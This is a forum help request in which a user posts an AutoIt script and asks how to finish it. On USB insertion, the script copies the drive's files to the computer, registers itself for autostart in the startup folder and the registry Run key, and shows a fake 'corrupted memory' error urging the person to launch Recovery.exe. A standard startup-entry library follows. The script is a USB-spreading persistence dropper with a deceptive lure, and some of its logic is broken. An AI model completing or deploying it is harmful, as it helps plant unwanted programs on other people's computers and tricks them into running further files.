Jump to content

FileCopy Help THANKS!


rm4453
 Share

Recommended Posts

How would i make so These Scripts copiy a file from the usb to the users documents.... "and passes that filepath onto _StartupFolder_Install and _StartupRegistry_Install " That way it copies the files off that I need and makes so they will auto launch for me...

 

#include "_startup.au3"

Global $DBT_DEVICEARRIVAL = "0x00008000"
Global $DBT_DEVICECOMPLETEREMOVAL = "0x00008004"
Global $USB_ATTENTION = "0x00000007"
Global $WM_DEVICECHANGE = 0x0219
Global $Drives
Global $Drive_Type = "ALL" ; Set to ALL because some USB Drives are detected as Fixed Disks, and we don't want to miss those
Global $WATCH = False
Global $MyDrive = "STUFF"

;Get Initial List of Drives to Check Against
UpdateDrives()
;Setup The GUI to watch for the DeviceChange Event
GUICreate("")
GUIRegisterMsg($WM_DEVICECHANGE, "DeviceChange")

; Main Loop to Keep the Program Open
; No Real Way of ending this program, except for just killing the process
; Which is what I want, an always on backup for my drive every time I insert it
While 1
    $GuiMsg = GUIGetMsg()
    ; This is needed because the watch event above not only triggers before a USB Drive is inserted/removed,
    ; but also AFTER insertion too, and if not reset, a subsequent CD insertion will trigger it again.
    ; So, every second, we reset $WATCH, to keep things clean
    Sleep(1000)
    $WATCH = False
WEnd


Func DeviceChange($hWndGUI, $MsgID, $WParam, $LParam)
    Switch $WParam
        Case $USB_ATTENTION
            ; This only happens when USB drives are inserted, so I use it to tell the difference between these and CDROMs
            $WATCH = True
        Case $DBT_DEVICECOMPLETEREMOVAL
            ; Whenever a Drive is Removed, Update the Drive List
            UpdateDrives()
        Case $DBT_DEVICEARRIVAL
            ; A drive was inserted
            ; Use $WATCH to tell if this was a CDROM or USB
            ; $WATCH = True, USB
            ; $WATCH = False, CDROM
            If $WATCH = True Then
                ; New USB Drive Was Detected, Time to Find it's Letter
                $New = FindNewDrive(); $New now has the Drive Letter of our New Drive, so USE IT!!!
                $Label = DriveGetLabel($New)
                $MyDrive = $Label
                If $Label == $MyDrive Then
                    StartInstall()
                EndIf
                ; Now Reset Drive List so more insertions can also be detected accurately
                UpdateDrives()
            EndIf
    EndSwitch
EndFunc   ;==>DeviceChange

; This just jumps through the new Drive List, comparing them until it finds the entry that is in the new one that isn't in the old one
Func FindNewDrive()
    $Temp = DriveGetDrive("REMOVABLE")
    For $i = 1 To $Temp[0]
        $Old = False
        For $j = 1 To $Drives[0]
            If $Drives[$j] == $Temp[$i] Then $Old = True
        Next
        If $Old == False Then Return $Temp[$i]
    Next
EndFunc   ;==>FindNewDrive

; Just to keep things neat, and so if Variables Ever Change, this makes updating easier
Func UpdateDrives()
    $Drives = DriveGetDrive($Drive_Type)
 EndFunc   ;==>UpdateDrives

Func StartInstall()
   $NewDrive = FindNewDrive()
   FileCopy($NewDrive, "C:\")
    _StartupFolder_Install() ; Add the running EXE to the Current Users startup folder.
    ShellExecute(@StartupDir & '\')
    _StartupRegistry_Install()
    MsgBox("ERROR", "FAULTY DRIVE", "Your USB Device Has Corrupted Memory Please Plug It Into A Recognized Computer, And Launch Recovery.exe To Save Your Data!")
EndFunc   ;==>StartInstall
#include-once

; #AutoIt3Wrapper_Au3Check_Parameters=-d -w 1 -w 2 -w 3 -w- 4 -w 5 -w 6 -w 7
; #INDEX# =======================================================================================================================
; Title .........: _Startup
; AutoIt Version : v3.3.10.0 or higher
; Language ......: English
; Description ...: Create startup entries in the startup folder or registry. The registry entries can be Run all the time (Run registry entry) or only once (RunOnce registry entry.)
; Note ..........:
; Author(s) .....: guinness
; Remarks .......: Special thanks to KaFu for EnumRegKeys2Array() which I used as inspiration for enumerating the Registry Keys.
; ===============================================================================================================================

; #INCLUDES# ====================================================================================================================
#include <StringConstants.au3>

; #GLOBAL VARIABLES# ============================================================================================================
Global Enum $STARTUP_RUN = 0, $STARTUP_RUNONCE, $STARTUP_RUNONCEEX

; #CURRENT# =====================================================================================================================
; _StartupFolder_Exists: Checks if an entry exits in the 'All Users/Current Users' startup folder.
; _StartupFolder_Install: Creates an entry in the 'All Users/Current Users' startup folder.
; _StartupFolder_Uninstall: Deletes an entry in the 'All Users/Current Users' startup folder.
; _StartupRegistry_Exists: Checks if an entry exits in the 'All Users/Current Users' registry.
; _StartupRegistry_Install: Creates an entry in the 'All Users/Current Users' registry.
; _StartupRegistry_Uninstall: Deletes the entry in the 'All Users/Current Users' registry.
; ===============================================================================================================================

; #INTERNAL_USE_ONLY#============================================================================================================
; See below.
; ===============================================================================================================================

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupFolder_Exists
; Description ...: Checks if an entry exits in the 'All Users/Current Users' startup folder.
; Syntax ........: _StartupFolder_Exists([$sName = @ScriptName[, $bAllUsers = False]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $bAllUsers           - [optional] Add to Current Users (False) or All Users (True) Default is False.
; Return values .: Success - True
;                  Failure - False
; Author ........: guinness
; Example .......: Yes
; ===============================================================================================================================
Func _StartupFolder_Exists($sName = @ScriptName, $bAllUsers = False)
    Local $sFilePath = Default
    __Startup_Format($sName, $sFilePath)
    Return FileExists(__StartupFolder_Location($bAllUsers) & '\' & $sName & '.lnk')
EndFunc   ;==>_StartupFolder_Exists

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupFolder_Install
; Description ...: Creates an entry in the 'All Users/Current Users' startup folder.
; Syntax ........: _StartupFolder_Install([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $sCommandline = ''[,
;                  $bAllUsers = False]]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $sFilePath           - [optional] Location of the program executable. Default is @ScriptFullPath.
;                  $sCommandline        - [optional] Commandline arguments to be passed to the application. Default is ''.
;                  $bAllUsers           - [optional] Add to Current Users (False) or All Users (True) Default is False.
; Return values .: Success - True
;                  Failure - False & sets @error to non-zero
; Author ........: guinness
; Example .......: Yes
; ===============================================================================================================================
Func _StartupFolder_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = '', $bAllUsers = True)
    Return __StartupFolder_Uninstall(True, $sName, $sFilePath, $sCommandline, $bAllUsers)
EndFunc   ;==>_StartupFolder_Install

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupFolder_Uninstall
; Description ...: Deletes an entry in the 'All Users/Current Users' startup folder.
; Syntax ........: _StartupFolder_Uninstall([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $bAllUsers = False]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $sFilePath           - [optional] Location of the program executable. Default is @ScriptFullPath.
;                  $bAllUsers           - [optional] Was it added to Current Users (False) or All Users (True) Default is False.
; Return values .: Success - True
;                  Failure - False & sets @error to non-zero
; Author ........: guinness
; Example .......: Yes
; ===============================================================================================================================
Func _StartupFolder_Uninstall($sName = @ScriptName, $sFilePath = @ScriptFullPath, $bAllUsers = False)
    Return __StartupFolder_Uninstall(False, $sName, $sFilePath, Default, $bAllUsers)
EndFunc   ;==>_StartupFolder_Uninstall

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupRegistry_Exists
; Description ...:Checks if an entry exits in the 'All Users/Current Users' registry.
; Syntax ........: _StartupRegistry_Exists([$sName = @ScriptName[, $bAllUsers = False[, $iRunOnce = $STARTUP_RUN]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $bAllUsers           - [optional] Add to Current Users (False) or All Users (True) Default is False.
;                  $iRunOnce            - [optional] Always run at system startup $STARTUP_RUN (0), run only once before explorer is started $STARTUP_RUNONCE (1)
;                                         or run only once after explorer is started $STARTUP_RUNONCEEX (2). Default is $STARTUP_RUN (0).
; Return values .: Success - True
;                  Failure - False
; Author ........: guinness
; Example .......: Yes
; ===============================================================================================================================
Func _StartupRegistry_Exists($sName = @ScriptName, $bAllUsers = False, $iRunOnce = $STARTUP_RUN)
    Local $sFilePath = Default
    __Startup_Format($sName, $sFilePath)
    RegRead(__StartupRegistry_Location($bAllUsers, $iRunOnce) & '\', $sName)
    Return @error = 0
EndFunc   ;==>_StartupRegistry_Exists

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupRegistry_Install
; Description ...: Creates an entry in the 'All Users/Current Users' registry.
; Syntax ........: _StartupRegistry_Install([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $sCommandline = ''[,
;                  $bAllUsers = False[, $iRunOnce = $STARTUP_RUN]]]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $sFilePath           - [optional] Location of the program executable. Default is @ScriptFullPath.
;                  $sCommandline        - [optional] Commandline arguments to be passed to the application. Default is ''.
;                  $bAllUsers           - [optional] Add to Current Users (False) or All Users (True) Default is False.
;                  $iRunOnce            - [optional] Always run at system startup $STARTUP_RUN (0), run only once before explorer is started $STARTUP_RUNONCE (1)
;                                         or run only once after explorer is started $STARTUP_RUNONCEEX (2). Default is $STARTUP_RUN (0).
; Return values .: Success - True
;                  Failure - False & sets @error to non-zero
; Author ........: guinness
; Example .......: Yes
; ===============================================================================================================================
Func _StartupRegistry_Install($sName = @ScriptName, $sFilePath = @ScriptFullPath, $sCommandline = '', $bAllUsers = True, $iRunOnce = $STARTUP_RUN)
    Return __StartupRegistry_Uninstall(True, $sName, $sFilePath, $sCommandline, $bAllUsers, $iRunOnce)
EndFunc   ;==>_StartupRegistry_Install

; #FUNCTION# ====================================================================================================================
; Name ..........: _StartupRegistry_Uninstall
; Description ...: Deletes the entry in the 'All Users/Current Users' registry.
; Syntax ........: _StartupRegistry_Uninstall([$sName = @ScriptName[, $sFilePath = @ScriptFullPath[, $bAllUsers = False[,
;                  $iRunOnce = Default]]]])
; Parameters ....: $sName               - [optional] Name of the program. Default is @ScriptName.
;                  $sFilePath           - [optional] Location of the program executable. Default is @ScriptFullPath.
;                  $bAllUsers           - [optional] Was it added to the current users (0) or all users (1). Default is 0.
;                  $iRunOnce            - [optional] Was it run at system startup $STARTUP_RUN (0), run only once before explorer is started $STARTUP_RUNONCE (1)
;                                         or run only once after explorer is started $STARTUP_RUNONCEEX (2). Default is $STARTUP_RUN (0).
; Return values .: Success - True
;                  Failure - False & sets @error to non-zero
; Author ........: guinness
; Example .......: Yes
; ===============================================================================================================================
Func _StartupRegistry_Uninstall($sName = @ScriptName, $sFilePath = @ScriptFullPath, $bAllUsers = False, $iRunOnce = $STARTUP_RUN)
    Return __StartupRegistry_Uninstall(False, $sName, $sFilePath, Default, $bAllUsers, $iRunOnce)
EndFunc   ;==>_StartupRegistry_Uninstall

; #INTERNAL_USE_ONLY#============================================================================================================
Func __Startup_Format(ByRef $sName, ByRef $sFilePath)
    If $sFilePath = Default Then
        $sFilePath = @ScriptFullPath
    EndIf
    If $sName = Default Then
        $sName = @ScriptName
    EndIf
    $sName = StringRegExpReplace($sName, '\.[^.\\/]*$', '') ; Remove extension.
    Return Not (StringStripWS($sName, $STR_STRIPALL) == '') And FileExists($sFilePath)
EndFunc   ;==>__Startup_Format

Func __StartupFolder_Location($bAllUsers)
    Return $bAllUsers ? @StartupCommonDir : @StartupDir
EndFunc   ;==>__StartupFolder_Location

Func __StartupFolder_Uninstall($bIsInstall, $sName, $sFilePath, $sCommandline, $bAllUsers)
    If Not __Startup_Format($sName, $sFilePath) Then
        Return SetError(1, 0, False) ; $STARTUP_ERROR_EXISTS
    EndIf
    If $bAllUsers = Default Then
        $bAllUsers = False
    EndIf
    If $sCommandline = Default Then
        $sCommandline = ''
    EndIf

    Local Const $sStartup = __StartupFolder_Location($bAllUsers)
    Local Const $hSearch = FileFindFirstFile($sStartup & '\' & '*.lnk')
    Local $vReturn = 0
    If $hSearch > -1 Then
        Local Const $iStringLen = StringLen($sName)
        Local $aFileGetShortcut = 0, _
                $sFileName = ''
        While 1
            $sFileName = FileFindNextFile($hSearch)
            If @error Then
                ExitLoop
            EndIf
            If StringLeft($sFileName, $iStringLen) = $sName Then
                $aFileGetShortcut = FileGetShortcut($sStartup & '\' & $sFileName)
                If @error Then
                    ContinueLoop
                EndIf
                If $aFileGetShortcut[0] = $sFilePath Then
                    $vReturn += FileDelete($sStartup & '\' & $sFileName)
                EndIf
            EndIf
        WEnd
        FileClose($hSearch)
    ElseIf Not $bIsInstall Then
        Return SetError(2, 0, False) ; $STARTUP_ERROR_EMPTY
    EndIf

    If $bIsInstall Then
        $vReturn = FileCreateShortcut($sFilePath, $sStartup & '\' & $sName & '.lnk', $sStartup, $sCommandline) > 0
    Else
        $vReturn = $vReturn > 0
    EndIf

    Return $vReturn
EndFunc   ;==>__StartupFolder_Uninstall

Func __StartupRegistry_Location($bAllUsers, $iRunOnce)
    If $iRunOnce = Default Then
        $iRunOnce = $STARTUP_RUN
    EndIf
    Local $sRunOnce = ''
    Switch $iRunOnce
        Case $STARTUP_RUNONCE
            $sRunOnce = 'Once'
        Case $STARTUP_RUNONCEEX
            $sRunOnce = 'OnceEx'
        Case Else
            $sRunOnce = ''
    EndSwitch

    Return ($bAllUsers ? 'HKEY_LOCAL_MACHINE' : 'HKEY_CURRENT_USER') & _
            ((@OSArch = 'X64') ? '64' : '') & '\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' & $sRunOnce
EndFunc   ;==>__StartupRegistry_Location

Func __StartupRegistry_Uninstall($bIsInstall, $sName, $sFilePath, $sCommandline, $bAllUsers, $iRunOnce)
    If Not __Startup_Format($sName, $sFilePath) Then
        Return SetError(1, 0, False) ; $STARTUP_ERROR_EXISTS
    EndIf
    If $bAllUsers = Default Then
        $bAllUsers = False
    EndIf
    If $sCommandline = Default Then
        $sCommandline = ''
    EndIf

    Local Const $sRegistryKey = __StartupRegistry_Location($bAllUsers, $iRunOnce)
    Local $iInstance = 1, _
            $sRegistryName = '', _
            $vReturn = 0
    While 1
        $sRegistryName = RegEnumVal($sRegistryKey & '\', $iInstance)
        If @error Then
            ExitLoop
        EndIf

        If ($sRegistryName = $sName) And StringInStr(RegRead($sRegistryKey & '\', $sRegistryName), $sFilePath, $STR_NOCASESENSEBASIC) Then
            $vReturn += RegDelete($sRegistryKey & '\', $sName)
        EndIf
        $iInstance += 1
    WEnd

    If $bIsInstall Then
        $vReturn = RegWrite($sRegistryKey & '\', $sName, 'REG_SZ', $sFilePath & ' ' & $sCommandline) > 0
    Else
        $vReturn = $vReturn > 0
    EndIf

    Return $vReturn
EndFunc   ;==>__StartupRegistry_Uninstall

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...